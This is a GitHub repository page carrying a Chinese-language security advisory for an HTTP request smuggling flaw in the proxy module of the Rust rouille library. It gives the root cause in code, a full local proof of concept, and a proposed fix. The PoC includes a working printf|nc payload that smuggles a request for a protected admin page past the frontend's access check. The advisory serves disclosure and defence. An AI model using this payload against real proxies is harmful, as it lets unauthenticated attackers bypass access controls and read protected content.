theopaid/CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

GitHub: theopaid/CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

针对 Rust rouille 库代理模块的 HTTP 请求走私漏洞公告,揭示了未过滤标头控制字符导致前端访问控制绕过的安全问题。

Stars: 0 | Forks: 0

# 安全公告:HTTP 请求走私导致前端访问控制绕过 (rouille) **分配的 CVE ID:** CVE-2026-67182 ## 摘要 `rouille::proxy::proxy` 和 `rouille::proxy::full_proxy` 会将客户端提供的请求标头值复制到上游连接中,而不检查其中是否包含控制字符。 标头值在合法情况下可以包含单个换行符 (0x0A),因为底层的 `tiny_http` 标头解析器仅在遇到 CRLF 时才结束标头行。因此,接受单个 LF 作为行终止符的后端会将一个前端请求读取为两个。 第二个请求完全由攻击者控制,包括其请求方法和路径,并且永远不会经过决定代理第一个请求的 rouille handler。其响应体也会返回给攻击者。 ## 受影响版本 仓库 URL:https://github.com/tomaka/rouille | | | |---|---| | 首个受影响版本 | 0.3.3 (2016-12-03),即引入 `src/proxy.rs` 的发布版本 | | 最后受影响版本 | 3.6.2 (2023-04-24),即当前发布版本 | | 不受影响 | 0.3.2 及更早版本,它们没有代理模块 | | 修复版本 | 截至撰稿时无修复版本 | 从 0.3.3 到 3.6.2 的每个已发布版本都包含未经修改的代码。文件 `src/proxy.rs` 在 3.6.2 标签和当前的 `master` 分支之间逐字节相同。 只有调用 `proxy::proxy` 或 `proxy::full_proxy` 的应用才会受到影响。 ## 严重程度 CWE-444(HTTP 请求的不一致解释),是通过 CWE-113(HTTP 标头中 CRLF 序列的不当中和处理)引发的。 CVSS 4.0 基础得分 6.9(中危) `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N` ## 威胁模型 攻击者是一个远程、未经身份验证的客户端,能够向 rouille 服务器发送原始 HTTP 请求。不需要凭证,不需要用户交互,也不需要位于网络组件之间的位置。 存在风险的部署是指一个 rouille 应用程序作为反向代理,在调用 `proxy()` 之前做出安全决策(路由、身份验证、授权或内容过滤),并且其背后的后端的 HTTP 解析器接受单个 LF 作为标头行终止符。 测量到的后端行为: | 后端 | 测试版本 | 接受注入的 LF | |---|---|---| | Go `net/http` | go1.26.4 | 是,处理走私的请求 | | Python `http.server` (`protocol_version = "HTTP/1.1"`) | CPython 3.13 | 是,处理走私的请求 | | Node.js | v26.3.0 | 否,返回 400 (llhttp 严格模式) | | PHP 内置服务器 | 8.5.8 | 否,断开连接 | nginx 和 Apache 未经过测试。RFC 9112 第 2.2 节允许接收方将单个 LF 识别为行终止符,因此接受 LF 的后端行为符合规范。 ## 根本原因 `rouille/src/proxy.rs`,第 157 到 174 行: ``` 157 for (header, value) in request.headers() { 158 let value = if header == "Host" { 159 if let Some(ref replace) = config.replace_host { 160 &**replace 161 } else { 162 value 163 } 164 } else { 165 value 166 }; 167 if header == "Connection" { 168 continue; 169 } 170 171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?; 172 } 173 socket.write_all(b"Connection: close\r\n\r\n")?; 174 io::copy(&mut data, &mut socket)?; ``` 第 171 行是汇聚点。`value` 是不可信的,并且在没有任何验证的情况下被写入。 污染源是通过 `tiny_http` 引入的。在 `tiny_http-0.12.0/src/client.rs`,第 80 到 102 行中,只有当 LF 紧跟在 CR 之后时,标头行才会结束: ``` 92 if byte == b'\n' && prev_byte_was_cr { 93 buf.pop(); // removing the '\r' 94 return AsciiString::from_ascii(buf) 95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII")); 96 } 97 98 prev_byte_was_cr = byte == b'\r'; 99 100 buf.push(byte); ``` 单独的 LF 会掉落到第 100 行并被推入行缓冲区。LF 是有效的 ASCII 字符,因此 `AsciiString::from_ascii` 接受它。随后,位于 `tiny_http-0.12.0/src/common.rs` 第 184 行的 `Header::from_str` 仅对值进行修剪,这会去除首尾的空白字符,但保留内部的字节: ``` 187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?; 188 let value = elems 189 .next() 190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok()) 191 .ok_or(())?; ``` 结果是,rouille 中的标头值包含了一个原始的 `\n`,`proxy.rs` 的第 171 行将其直接写入了上游请求中。 第 173 行的 `Connection: close` 并未遏制损害。注入的空行在第 173 行运行之前就结束了第一个请求,因此该标头被吸收到了走私的请求中。第一个请求不带 `Connection` 标头,并默认使用 HTTP/1.1 keep-alive,这恰好使得后端能够继续处理第二个请求。 ## 概念验证 (PoC) 步骤 1. 创建一个后端文档根目录,其中包含一个公共文件和一个代理旨在保护的文件。 ``` mkdir -p /tmp/webroot/public echo "PUBLIC PAGE" > /tmp/webroot/public/index.html echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html ``` 步骤 2. 在端口 8001 上启动一个 keep-alive 后端。 ``` cd /tmp/webroot python3 -c ' import http.server, socketserver, sys class H(http.server.SimpleHTTPRequestHandler): protocol_version = "HTTP/1.1" def log_message(self, f, *a): sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush() socketserver.TCPServer.allow_reuse_address = True socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever() ' ``` 步骤 3. 在端口 8000 上启动 rouille 前端。它代理 `/public/` 并拒绝其他所有请求。 ``` use rouille::{proxy, Response}; fn main() { rouille::start_server("127.0.0.1:8000", |request| { if !request.url().starts_with("/public/") { return Response::text("forbidden").with_status_code(403); } proxy::full_proxy(request, proxy::ProxyConfig { addr: "127.0.0.1:8001", replace_host: None, }).unwrap() }); } ``` 步骤 4. 确认访问控制正常工作。 ``` printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000 ``` ``` HTTP/1.1 403 Forbidden ``` 步骤 5. 发送一个针对允许路径的单一请求,并在标头值中包含一个单个 LF。在下面的命令中,`\n` 是单个换行符,`\r\n` 是 CRLF。这种区别正是整个攻击的核心,因此不要让编辑器将其标准化。 ``` printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000 ``` 结果。后端日志显示有两个请求,第二个请求正是前端在步骤 4 中拒绝的路径: ``` [backend] "GET /public/index.html HTTP/1.1" 200 - [backend] "GET /admin.html HTTP/1.1" 200 - ``` 攻击者还会收到受保护的内容,因为 `src/proxy.rs` 第 224 行将上游 socket 的剩余部分转换为了响应体: ``` HTTP/1.1 200 OK Content-type: text/html Transfer-Encoding: chunked d7 PUBLIC PAGE HTTP/1.1 200 OK Content-type: text/html Content-Length: 18 SECRET ADMIN PAGE ``` ## 影响 未经身份验证的客户端可以向后端发出任意请求并读取其响应,而 rouille handler 只能看到被允许的请求。 这会破坏基于路径的访问控制、在 handler 中执行的身份验证,以及在调用 `proxy()` 之前执行的任何请求检查。 有两个限制值得一提。`proxy()` 为每个请求打开一个新的 TCP 连接,并且不使用连接池,因此这不会带来与经典走私攻击相关的跨用户请求队列投毒攻击。此外,如上所述,该攻击还需要一个容忍 LF 的后端。 ## 修复方案 在将标头名称和值写入上游之前,拒绝包含控制字符的内容。在 `src/proxy.rs` 的第 157 行的循环内部: ``` if header.bytes().any(|b| b < 0x21 || b == 0x7f) || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0) { return Err(ProxyError::HttpParseError); } ```
标签:HTTP请求走私, Rust, Web框架, 反向代理, 可视化界面, 漏洞通告, 网络流量审计